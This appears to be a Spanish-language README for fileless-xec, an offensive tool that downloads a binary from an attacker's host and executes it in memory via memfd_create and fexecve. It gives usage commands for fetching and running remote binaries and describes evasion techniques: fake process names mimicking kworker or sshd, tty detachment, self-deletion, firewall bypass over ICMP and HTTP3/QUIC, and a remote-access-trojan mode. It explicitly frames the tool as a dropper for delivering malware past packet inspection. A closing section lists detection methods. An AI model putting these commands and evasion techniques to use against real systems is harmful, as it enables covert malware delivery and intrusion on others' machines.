➲ fileless-xec 🦜

Uso en pentest: fileless-xec se utiliza en la máquina objetivo para ejecutar sigilosamente un archivo binario ubicado en la máquina del atacante

➲ Breve historia

fileless-xec nos permite ejecutar un binario remoto en una máquina local directamente desde la memoria sin descargarlo en el disco

➪ Instalación

• Uso simple fileless-xec [binary_url] (~curl | sh para binarios)
• Ejecutar binario con nombre de programa especificado: fileless-xec -n /usr/sbin/sshd [binary_url]
• Desvincular la ejecución del programa de tty: fileless-xec --setsid [...]

Otros casos de uso

• Ejecutar binario con stdout/stdin
• Ejecutar binario con argumentos
• Autoeliminación de fileless-xec
• Evadir restricción de red usando ICMP
• Evadir firewall con HTTP3
• «Remote go»: ejecutar binarios de Go sin tener Go instalado localmente
• Ejecutar un script de shell
• Modo servidor de fileless-xec
  • Escenario RAT (Troyano de Acceso Remoto)
• fileless-xec en Windows

➲ Historia de sigilo

• El archivo binario no se asigna en el sistema de archivos del host
• El nombre del programa de ejecución puede ser personalizable
• Se puede evadir un firewall de tercera generación con soporte http3
• fileless-xec se elimina a sí mismo una vez lanzado

memfd_create

El archivo binario remoto se almacena localmente mediante la llamada al sistema memfd_create, que lo guarda en un disco de memoria que no está asignado en el sistema de archivos (es decir, no puedes encontrarlo usando ls).

Nota: la llamada al sistema memfd_create no existe en macOS.

fexecve

Luego lo ejecutamos usando la llamada al sistema fexecve (ya que actualmente no está proporcionada por la biblioteca syscall de Go, la implementamos).

Con fexecve podemos ejecutar un programa, pero referenciamos el programa a ejecutar usando un descriptor de archivo, en lugar de la ruta completa.

HTTP3/QUIC

QUIC UDP, también conocido como http3, es un protocolo de Internet de nueva generación que acelera las aplicaciones web en línea que son susceptibles a demoras, como búsquedas, transmisión de video, etc., al reducir el tiempo de ida y vuelta (RTT) necesario para conectarse a un servidor.

Debido a que QUIC utiliza cifrado propietario equivalente a TLS (esto cambiará en el futuro con una versión estandarizada), los firewalls de tercera generación que proporcionan control y visibilidad de aplicaciones encuentran dificultades para controlar y monitorear el tráfico QUIC.

Si realmente usas fileless-xec como un dropper (Solo con fines de prueba o con autorización), probablemente quieras ejecutar algún tipo de malware u otro archivo que pueda ser detectado mediante análisis de paquetes. Por lo tanto, con QUIC habilitado podrías evadir el análisis de paquetes y DESCARGAR un malware.

Además, en caso de que el firewall solo se use para permitir/bloquear tráfico, podría suceder que las reglas del firewall olviden el protocolo UDP, haciendo que tus solicitudes pasen desapercibidas

Otras habilidades para el sigilo

Aunque no esté presente en el disco de memoria, el programa en ejecución aún puede ser detectado usando el comando ps, por ejemplo.

1. Cubrir las huellas con un nombre de programa falso

fileless-xec --name <nombre_falso> <binary_raw_url> por defecto el nombre es [kworker/u:0]

2. Desvincularse de tty para imitar el comportamiento de un proceso demonio

fileless-xec --setsid <binary_raw_url>.

Advertencias

Aún podrías ser detectado con:

$ lsof | grep memfd

O también con opensnoop (pero no con execsnoop)

O con un perfil seccomp que audite la llamada al sistema execve (pero es muy abrumador, ya que un comando como sleep también usa execve, por ejemplo)